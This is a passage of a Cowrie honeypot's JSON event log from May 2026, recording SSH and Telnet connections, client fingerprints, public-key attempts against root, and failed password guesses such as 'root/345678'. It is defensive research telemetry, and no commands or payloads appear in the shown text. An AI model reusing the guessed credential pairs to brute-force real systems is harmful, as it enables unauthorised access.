e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:14.420835Z","src_ip":"47.237.167.49","session":"031ea2b36dcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56744,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d2a533acdc3","protocol":"ssh","message":"New connection: 31.40.204.166:56744 (159.203.135.109:22) [session: 5d2a533acdc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:14.484064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:14.493215Z","src_ip":"31.40.204.166","session":"5d2a533acdc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:14.611736Z","src_ip":"31.40.204.166","session":"5d2a533acdc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:15.138850Z","src_ip":"47.237.167.49","session":"031ea2b36dcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester","message":"login attempt [tester/tester] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:15.204003Z","src_ip":"31.40.204.166","session":"5d2a533acdc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":54.677196741104126,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:15.308561Z","src_ip":"152.42.224.71","session":"7b5163ba3754","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:16.393930Z","src_ip":"31.40.204.166","session":"5d2a533acdc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.15271735191345,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:17.234489Z","src_ip":"152.42.224.71","session":"02cb7aa9666c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.534313917160034,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:19.765394Z","src_ip":"152.42.224.71","session":"7cccf99466b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.178.7.34","src_port":59866,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc1510fed5ee","protocol":"ssh","message":"New connection: 108.178.7.34:59866 (10.17.0.5:22) [session: fc1510fed5ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:21.463955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:21.473079Z","src_ip":"108.178.7.34","session":"fc1510fed5ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:21.507430Z","src_ip":"108.178.7.34","session":"fc1510fed5ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"27:59:30:48:b2:84:2f:3c:75:30:fd:59:0e:e7:7c:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmq9jGsxqB5bA1CbSrxFkdqGFCfVeANAb+x2kZBKPQA7BvEfQPiyDw8a1Rvp5UQchd6oZiS0I4CrzME6cW7xRuFBR1r++XeYziPQTA5aVsD7hs9gwDEfiy0xn6y64BiioH4hGgqxNoiZb67L+Y6XPs5vSlw6NlTigPaAqHzzVostLzYSw6p2JtPciVgDcH/GesQRRtW3vTo8qQi8IIzWg/QK+b4dK3CC3N3/ge3LkREYbzBTDTFIwF/8pBLz0clOInf9C/+vfLs53DufCq3hvzPvS4tpuZE+5Dd7a7xj4DT+wmWbCsRPtLQTdkwL4fsOGY3F00miA7CaQQ/8hyzmon","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 27:59:30:48:b2:84:2f:3c:75:30:fd:59:0e:e7:7c:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:21.638730Z","src_ip":"108.178.7.34","session":"fc1510fed5ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"27:59:30:48:b2:84:2f:3c:75:30:fd:59:0e:e7:7c:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmq9jGsxqB5bA1CbSrxFkdqGFCfVeANAb+x2kZBKPQA7BvEfQPiyDw8a1Rvp5UQchd6oZiS0I4CrzME6cW7xRuFBR1r++XeYziPQTA5aVsD7hs9gwDEfiy0xn6y64BiioH4hGgqxNoiZb67L+Y6XPs5vSlw6NlTigPaAqHzzVostLzYSw6p2JtPciVgDcH/GesQRRtW3vTo8qQi8IIzWg/QK+b4dK3CC3N3/ge3LkREYbzBTDTFIwF/8pBLz0clOInf9C/+vfLs53DufCq3hvzPvS4tpuZE+5Dd7a7xj4DT+wmWbCsRPtLQTdkwL4fsOGY3F00miA7CaQQ/8hyzmon","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:21.642899Z","src_ip":"108.178.7.34","session":"fc1510fed5ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1d:98:aa:73:1f:a0:87:b7:5a:53:6a:99:c5:88:63:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4Iy60+zxqD+5Z+SlplzqF6egGkq8K4R7T0fZGiuXYFfWuIp3e52xTfPGR9SOT3sKQtsKDTycQx1ownimnSsJrMIMrOW06Z4H4vgEX9SKrISW0mu35QYRfUQYX/naHMPL4Rg5EGADrPAFiUbLLDdPpHhPQ0Js1O03c3f06RUofTlr8qjjV7INJos8O9wk3wAKHRCtCSSKp4ZuEXf+2E4H8WTWF3yUCLtl26d+ebGndL19VuotfPMIH80RrqghLWecpZpDqGtvhAXjpOGSIqJ8upXEajnx3ZlZe7ouemufweZHnQ0FxJc0+8IgW4cHoKbp6Hpc5/CiXv/VZLajAeZgBQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1d:98:aa:73:1f:a0:87:b7:5a:53:6a:99:c5:88:63:ec","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:21.673941Z","src_ip":"108.178.7.34","session":"fc1510fed5ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1d:98:aa:73:1f:a0:87:b7:5a:53:6a:99:c5:88:63:ec","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4Iy60+zxqD+5Z+SlplzqF6egGkq8K4R7T0fZGiuXYFfWuIp3e52xTfPGR9SOT3sKQtsKDTycQx1ownimnSsJrMIMrOW06Z4H4vgEX9SKrISW0mu35QYRfUQYX/naHMPL4Rg5EGADrPAFiUbLLDdPpHhPQ0Js1O03c3f06RUofTlr8qjjV7INJos8O9wk3wAKHRCtCSSKp4ZuEXf+2E4H8WTWF3yUCLtl26d+ebGndL19VuotfPMIH80RrqghLWecpZpDqGtvhAXjpOGSIqJ8upXEajnx3ZlZe7ouemufweZHnQ0FxJc0+8IgW4cHoKbp6Hpc5/CiXv/VZLajAeZgBQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:21.678389Z","src_ip":"108.178.7.34","session":"fc1510fed5ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"09:59:e6:57:45:e7:e6:54:9d:a3:a6:27:8b:41:0b:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC25YGmWsuDFfOcni58uLwyaRoJFDvYeYgoJZufhbBZZOWA3IQm55gpQVcbC6WyFzB3ouRIZ3+pgN/7tgBBIVmEg8FQGawPdiRyULrOAPvTkrrl7O0QCEQqwOo7p9RL1DWm5wpa+tznmj0WFwlAx8PGeZ7OyqBopdiR2hSOx/hhIS4vtRLiJB6AI5KzJ11YrLie3N4J/iojRUcQT6n7U8VTNKBFKxCp+1Eqoe/wF+0ZZTXQBYXfdKR4bEHD3sZ1GDnm4TuKtzqbT6j+Mf0Fqx+dKk0kcvUCZObzW4rqiywbQPrS/fA37OCyCxsqM08pfyod6evD90o1D+6KMpMp6EdN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 09:59:e6:57:45:e7:e6:54:9d:a3:a6:27:8b:41:0b:55","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:21.710516Z","src_ip":"108.178.7.34","session":"fc1510fed5ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"09:59:e6:57:45:e7:e6:54:9d:a3:a6:27:8b:41:0b:55","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC25YGmWsuDFfOcni58uLwyaRoJFDvYeYgoJZufhbBZZOWA3IQm55gpQVcbC6WyFzB3ouRIZ3+pgN/7tgBBIVmEg8FQGawPdiRyULrOAPvTkrrl7O0QCEQqwOo7p9RL1DWm5wpa+tznmj0WFwlAx8PGeZ7OyqBopdiR2hSOx/hhIS4vtRLiJB6AI5KzJ11YrLie3N4J/iojRUcQT6n7U8VTNKBFKxCp+1Eqoe/wF+0ZZTXQBYXfdKR4bEHD3sZ1GDnm4TuKtzqbT6j+Mf0Fqx+dKk0kcvUCZObzW4rqiywbQPrS/fA37OCyCxsqM08pfyod6evD90o1D+6KMpMp6EdN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:21.714234Z","src_ip":"108.178.7.34","session":"fc1510fed5ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"11:a3:81:0f:12:b4:04:27:be:4a:00:03:44:17:16:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrOwIWr01Z5l8bAvI01iLT4V7H++skKTsdDPDvGNLoH5EiFa0V8qZKcmThAJ0wtRFTH78XklF/q4VvT3cgv1VEKgGiyt6S42kCjg4jvBpchM8Wjd28LzWydDNRGg7ixQE77VHdiHkQ1eLzONzBUD0jBbnhd3OzujCOXLYbV/4g4tQLz0cWna6zizZEQ3XPnWwb3ehtWU5FhQQN/P/KfTgHBiyaXbVzcWSxnv8cCE6ue173VDXeY/LqO9f3mcnoMweRmeRDLSkd8QbCAi/RO/JE0X0kXPZGxgetjMkFTzh4zW61kTvMaAn9xNurjUAoidUAwY2Nz9XT8UGaMBoPXu0mnedTxEBkMjcaakaM7UXU87BTHD1cgXBiIK9f24WKstE8zTfMvBoKNfcmmeyEP0WLANLfCX/a3TSvo7dXO8V1Nkt76uYoDmbus4bKlYe13v5nk3YhdP6lDX7ehbDzOLhCFevGxzwm2g5AQqW9l6saj9sKFTb5XRlEsGCz8GAvw1PosHPOUk+t7egbtFIdb40Y+QWulD8cBKMvGPcBAo1INMGx2ifdZAuReGMiMCLf7IUKI8ogmnsn1XS5oMJQ1v7IIPtLncgm7FvA0ONwfNoY3Hw7DCskmjDoEr/vBbdGY+XimnnZJZ97EuRotIjhZNbe4IAw6DpZ2YScXk1HDb2K7Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 11:a3:81:0f:12:b4:04:27:be:4a:00:03:44:17:16:3b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:21.747319Z","src_ip":"108.178.7.34","session":"fc1510fed5ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"11:a3:81:0f:12:b4:04:27:be:4a:00:03:44:17:16:3b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCrOwIWr01Z5l8bAvI01iLT4V7H++skKTsdDPDvGNLoH5EiFa0V8qZKcmThAJ0wtRFTH78XklF/q4VvT3cgv1VEKgGiyt6S42kCjg4jvBpchM8Wjd28LzWydDNRGg7ixQE77VHdiHkQ1eLzONzBUD0jBbnhd3OzujCOXLYbV/4g4tQLz0cWna6zizZEQ3XPnWwb3ehtWU5FhQQN/P/KfTgHBiyaXbVzcWSxnv8cCE6ue173VDXeY/LqO9f3mcnoMweRmeRDLSkd8QbCAi/RO/JE0X0kXPZGxgetjMkFTzh4zW61kTvMaAn9xNurjUAoidUAwY2Nz9XT8UGaMBoPXu0mnedTxEBkMjcaakaM7UXU87BTHD1cgXBiIK9f24WKstE8zTfMvBoKNfcmmeyEP0WLANLfCX/a3TSvo7dXO8V1Nkt76uYoDmbus4bKlYe13v5nk3YhdP6lDX7ehbDzOLhCFevGxzwm2g5AQqW9l6saj9sKFTb5XRlEsGCz8GAvw1PosHPOUk+t7egbtFIdb40Y+QWulD8cBKMvGPcBAo1INMGx2ifdZAuReGMiMCLf7IUKI8ogmnsn1XS5oMJQ1v7IIPtLncgm7FvA0ONwfNoY3Hw7DCskmjDoEr/vBbdGY+XimnnZJZ97EuRotIjhZNbe4IAw6DpZ2YScXk1HDb2K7Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:21.751091Z","src_ip":"108.178.7.34","session":"fc1510fed5ee","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"56:be:5a:77:51:d3:29:25:07:9a:34:ca:af:6c:d0:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmxiVHYof/Vkj9VZqv33pkYX2i+alexn76TXpOpcu/l/fw+uIc/53taeTRTc75M57xZpsVOmacHflkOsJUqDCnvQgES2FZDTx4UIys7h66IDtiTe0qHyHrFU6BJcFqXWBFP7w+JEYiqao+HyBhQORQew5ziACmQv1kdMiQYU3B9bFkjRDfSwL4rQ8rOSw1tb5teUrISg2nMOk2+W6+DUMmYfou3T63JoPqKP5l7ai/jKhshYGsTpmJDtu5mYNDxf6+uf/OtaAlrnZKjUhnDvqVADwzgQbx5z0ma15jceK9FuA2GNSpKx9sqofA50yJWcPHm4vMWdPfioQsZsUjOeq+r3HM0f1/bq7VTAlZbS2fWZsrJBbZnsrYoWjv5Nz6IDcc05dusEbjNGs9k7kbHv0Jjxa2+Ne1aODE/F3yRDkD/Ozj4hDZpsArxpPXreJBJPUkV++K2KbsMMndkYq5lqbVVCrxNeThtOKztJ8V6r6Z7OfHtYtfzj4vGXE7ZDLqYkkvDkEGV8ajPU0NI/513PAuGJC4Nxwv47z+QPKy+9s+pNho0FJGRNUv9Xtoc456IyTdoIshUP9SFhd0ipgWwsx570XtI+gnP4ZhFfw9jrw95F6Mtr4ja9/ny8AZ3LtcOVyj8rbOmW0lIj9vjyH/5Q9IBqv9lC54QbCN4t0Y7QZntQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 56:be:5a:77:51:d3:29:25:07:9a:34:ca:af:6c:d0:78","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:21.783707Z","src_ip":"108.178.7.34","session":"fc1510fed5ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"56:be:5a:77:51:d3:29:25:07:9a:34:ca:af:6c:d0:78","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDmxiVHYof/Vkj9VZqv33pkYX2i+alexn76TXpOpcu/l/fw+uIc/53taeTRTc75M57xZpsVOmacHflkOsJUqDCnvQgES2FZDTx4UIys7h66IDtiTe0qHyHrFU6BJcFqXWBFP7w+JEYiqao+HyBhQORQew5ziACmQv1kdMiQYU3B9bFkjRDfSwL4rQ8rOSw1tb5teUrISg2nMOk2+W6+DUMmYfou3T63JoPqKP5l7ai/jKhshYGsTpmJDtu5mYNDxf6+uf/OtaAlrnZKjUhnDvqVADwzgQbx5z0ma15jceK9FuA2GNSpKx9sqofA50yJWcPHm4vMWdPfioQsZsUjOeq+r3HM0f1/bq7VTAlZbS2fWZsrJBbZnsrYoWjv5Nz6IDcc05dusEbjNGs9k7kbHv0Jjxa2+Ne1aODE/F3yRDkD/Ozj4hDZpsArxpPXreJBJPUkV++K2KbsMMndkYq5lqbVVCrxNeThtOKztJ8V6r6Z7OfHtYtfzj4vGXE7ZDLqYkkvDkEGV8ajPU0NI/513PAuGJC4Nxwv47z+QPKy+9s+pNho0FJGRNUv9Xtoc456IyTdoIshUP9SFhd0ipgWwsx570XtI+gnP4ZhFfw9jrw95F6Mtr4ja9/ny8AZ3LtcOVyj8rbOmW0lIj9vjyH/5Q9IBqv9lC54QbCN4t0Y7QZntQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:21.787495Z","src_ip":"108.178.7.34","session":"fc1510fed5ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:21.822937Z","src_ip":"108.178.7.34","session":"fc1510fed5ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52776,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a113d760a03","protocol":"telnet","message":"New connection: 152.42.224.71:52776 (10.17.0.5:23) [session: 2a113d760a03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:22.350066Z"}
{"eventid":"cowrie.session.closed","duration":56.0304491519928,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:23.398318Z","src_ip":"152.42.224.71","session":"f1f17efcebf1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":35082,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9e356e3cad3","protocol":"ssh","message":"New connection: 194.113.233.25:35082 (10.17.0.5:22) [session: c9e356e3cad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:24.541050Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:24.545185Z","src_ip":"194.113.233.25","session":"c9e356e3cad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:24.633783Z","src_ip":"194.113.233.25","session":"c9e356e3cad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.7508544921875,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:24.861834Z","src_ip":"152.42.224.71","session":"019d209ab674","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"345678","message":"login attempt [root/345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:24.911761Z","src_ip":"194.113.233.25","session":"c9e356e3cad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:26.009960Z","src_ip":"194.113.233.25","session":"c9e356e3cad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56948,"dst_ip":"159.203.135.109","dst_port":22,"session":"012e45d7979a","protocol":"ssh","message":"New connection: 31.40.204.166:56948 (159.203.135.109:22) [session: 012e45d7979a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:26.784761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:05:26.798551Z","src_ip":"31.40.204.166","session":"012e45d7979a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecds